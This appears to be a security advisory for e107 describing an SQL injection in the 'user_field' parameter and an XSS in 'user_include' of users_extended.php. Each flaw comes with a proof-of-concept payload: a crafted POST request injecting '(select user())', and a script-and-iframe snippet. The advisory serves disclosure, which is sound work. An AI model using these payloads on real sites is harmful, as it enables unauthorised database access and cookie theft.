Vulnerability Details:
1. SQL injection in e107
The vulnerability exists due to failure in the "/e107_admin/users_extended.php" 
script to properly sanitize user-supplied input in "user_field" variable. 
"magic_quotes" must be set to "off". Attacker can alter queries to the 
application SQL database, execute arbitrary queries to the database, compromise 
the application, access or modify sensitive data, or exploit various 
vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC code 
is available:


POST /e107_admin/users_extended.php?cat= HTTP/1.1
Host: HOST
Cookie: <valid session cookies>
Content-Type: application/x-www-form-urlencoded
Content-Length: 

user_field=sss','',0, ','','', '0', '253','0','0','253','0','0'),('0',(select 
user()),'',0,'','','','0','253','0','0','253','0','0'),('0','dfg&user_applicable=253&user_read=0&user_write=253&add_category=Add+category


2. XSS in e107

User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/e107_admin/users_extended.php" 
script to properly sanitize user-supplied input in "user_include" variable. 
Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC 
code is available::

<script>
setTimeout("document.getElementById('f1').src='http://HOST/e107_admin/users_extended.php'",2000);
</script>
<iframe id=f1 src='form.html'></iframe>
